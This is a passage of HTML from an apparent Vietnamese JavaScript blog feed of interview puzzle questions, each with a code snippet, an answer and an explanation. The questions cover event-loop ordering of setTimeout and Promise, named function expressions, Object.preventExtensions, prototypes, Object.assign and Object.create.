style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-7--c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 7 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 7 – Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">a</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">b</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">c</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"c"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"d"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">b</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">c</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả theo thứ tự như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án</strong>: c b d a</p> <p><strong>Giải thích</strong>:</p> <p>Câu hỏi này cũng tương tự như câu hỏi bên trên. Do đó, chắc chắn <strong>c</strong> và <strong>b</strong> sẽ được in ra trước. Vấn đề bây giờ chỉ là <strong>a</strong> và <strong>d</strong> mà thôi.</p> <p>Trong đó: <strong>a()</strong> được đặt trong hàm <strong>setTimeout()</strong>, còn <strong>d()</strong> lại được đặt trong một <a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>. Mà cả 2 thành phần này đều là xử lý bất đồng bộ.</p> <p>Tuy nhiên, JavaScript quy định những hành động được lên kế hoạch từ <em>setTimeout()</em> là <strong>Task.</strong> Còn những hành động từ <em>Promise</em> là <strong>MicroTask</strong>. Trong đó, <em>microtask</em> bao giờ cũng được ưu tiên hơn <em>task</em> và cũng sẽ được thực hiện sớm nhất có thể.</p> <p>Vì vậy, d sẽ được in ra trước a. Và kết quả cuối cùng là: <strong>c b d a</strong>.</p> <p>Để hiểu hơn về sự khác nhau giữa setTimeout và Promise, bạn có thể đọc thêm 2 bài viết sau: <a href="https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/">Tasks, microtasks, queues and schedules</a> và <a href="https://flaviocopes.com/javascript-event-loop/">The JavaScript Event Loop</a>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là 4 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 6]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 6, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-6/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-6/<![CDATA[Quiz]]>Thu, 14 Jun 2018 12:00:20 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 6</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay.</p> <p>Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 6 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 1</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">foo</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">bar</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> bar<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> undefined</p> <p><strong>Giải thích:</strong></p> <p>Cách khai báo <a href="/ham-la-gi-ham-trong-javascript/">hàm số</a> như trên được gọi là <strong>Named function expression</strong>, tức là bạn đặt tên cho function expression. Khi đó, bạn có thể sử dụng hàm số ngay bên trong nội dung của hàm.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> math <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function-variable function">factit</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token function">factorial</span><span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> n <span class="token operator">*</span> <span class="token function">factorial</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> math<span class="token punctuation">.</span><span class="token function">factit</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3;2;1;</span></code></pre></div> <p>Ngược lại, khi bạn không sử dụng <strong>Named function expression</strong> thì ví dụ trên phải sửa thành:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> math <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function-variable function">factit</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">n</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;=</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">return</span> n <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">factit</span><span class="token punctuation">(</span>n <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> math<span class="token punctuation">.</span><span class="token function">factit</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 3;2;1;</span></code></pre></div> <p>Vậy <strong>Named function expression</strong> có đặc điểm gì?</p> <p><strong>Named function expression</strong> có đặc điểm là phạm vi sử dụng của nó chỉ ở bên trong hàm số.</p> <p>Quay lại câu hỏi trên, <em>bar</em> sẽ chỉ có ý nghĩa ở bên trong hàm số, ra bên ngoài thì <em>bar</em> sẽ là <strong>undefined</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">foo</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token function">bar</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> bar<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token string">"hello"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">foo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => function</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> bar<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => undefined</span></code></pre></div> <p>Tóm lại, đáp án của câu hỏi 1 là undefined.</p> <p>Ngoài ra, bạn có thể xem thêm tại <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/function#Named_function_expression">đây</a> để hiểu rõ hơn về <strong>Named function expression</strong>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 6 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"foo"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"bar"</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>job <span class="token operator">=</span> <span class="token string">"teacher"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> {name: "bar"}</p> <p><strong>Giải thích:</strong></p> <p><a href="https://developer.mozilla.org/vi/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions">Object.preventExtensions</a> ngăn chặn việc thêm thuộc tính vào <a href="/object-la-gi-object-trong-javascript/">object</a>.</p> <p>Do đó, việc thêm thuộc tính <strong>person.job = "teacher"</strong> sẽ không có ý nghĩa. Vì vậy, kết quả của câu hỏi sẽ là: <strong>{name: "bar"}</strong>.</p> <p>Ngoài ra, nếu bạn sử dụng code trên ở chế độ <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">strict mode</a> thì bạn sẽ nhận được thông báo lỗi: <strong>TypeError: Cannot add property job, object is not extensible</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"foo"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"bar"</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>job <span class="token operator">=</span> <span class="token string">"teacher"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => TypeError: Cannot add property job, object is not extensible</span></code></pre></div> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-3" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-3" aria-label="xoắn não với phỏng vấn javascript 6 câu 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 3</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"foo"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span><span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hi"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> Hi</p> <p><strong>Giải thích:</strong></p> <p><strong>Object.preventExtensions()</strong> chỉ ngăn chặn việc thêm thuộc tính vào bản thân object. Đối với prototype của object thì bạn vẫn có thể thêm vào.</p> <p>Trong câu hỏi này, mình đã thêm thuộc tính <em>sayHi</em> vào prototype của đối tượng person. Điều này là hoàn toàn hợp lệ, nên bạn sẽ nhận được kết quả là <em>Hi</em>.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-4" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-4" aria-label="xoắn não với phỏng vấn javascript 6 câu 4 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 4</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"foo"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>person<span class="token punctuation">)</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span>__proto__ <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">job</span><span class="token operator">:</span> <span class="token string">"teacher"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>person<span class="token punctuation">.</span>job<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible4" class="toggle" type="checkbox"> <label for="collapsible4" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án: TypeError: #&#x3C;Object> is not extensible</strong></p> <p><strong>Giải thích:</strong></p> <p>Một đặc điểm quan trọng nữa của <strong>Object.preventExtensions()</strong> là: nó làm cho <strong>__proto__</strong> trở thành <strong>immutable</strong> – tức là bạn có thể thay đổi giá trị của nó, nhưng không thể gán nó cho một object mới.</p> <p>Trong khi đó, câu lệnh <em>person.__proto__ = { job: "teacher" }</em> đã gán object mới cho <strong>__proto__</strong> của person.</p> <p>Vì vậy, bạn sẽ nhận được lỗi như trên.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-5" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-5" aria-label="xoắn não với phỏng vấn javascript 6 câu 5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 5</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">z</span><span class="token operator">:</span> <span class="token number">4</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible5" class="toggle" type="checkbox"> <label for="collapsible5" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> {x: 1, y: 3, z: 4} {y: 3, z: 4}</p> <p><strong>Giải thích:</strong></p> <p>Phương thức <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/assign">Object.assign</a> được định nghĩa như sau:</p> <blockquote> <p>The Object.assign() method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object.</p> </blockquote> <p>Dịch ra là:</p> <blockquote> <p>Object.assign() được sử dụng để sao chép các giá trị của tất cả thuộc tính có thể liệt kê từ một hoặc nhiều đối tượng nguồn đến một đối tượng đích. Nó sẽ trả về đối tượng đích đó.</p> </blockquote> <p>Trong câu hỏi trên:</p> <ul> <li>Các thuộc tính x, y, z đều là <strong>enumerable</strong>.</li> <li>a là đối tượng đích, b là đối tượng nguồn.</li> </ul> <p>Do đó, các thuộc tính của b sẽ được copy sang a và b vẫn giữ nguyên. Trường hợp thuộc tính của a và b giống nhau (thuộc tính y) thì giá trị của thuộc tính đích sẽ bị ghi đè bởi giá trị của thuộc tính nguồn.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-6---câu-6" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-6---c%C3%A2u-6" aria-label="xoắn não với phỏng vấn javascript 6 câu 6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 6 - Câu 6</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">create</span><span class="token punctuation">(</span> <span class="token punctuation">{</span> <span class="token literal-property property">foo</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">bar</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">baz</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> a<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào? Tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible6" class="toggle" type="checkbox"> <label for="collapsible6" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> {baz: 3}</p> <p><strong>Giải thích:</strong></p> <p>Khi sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create</a> để tạo object như trên thì <em>{ foo: 1 }</em> sẽ là <strong>__proto__</strong> của object mới. Nên nó sẽ không được sao chép thông qua <em>Object.assign</em>.</p> <p>Tiếp theo là việc định nghĩa các thuộc tính cho object:</p> <div class="gatsby-highlight" 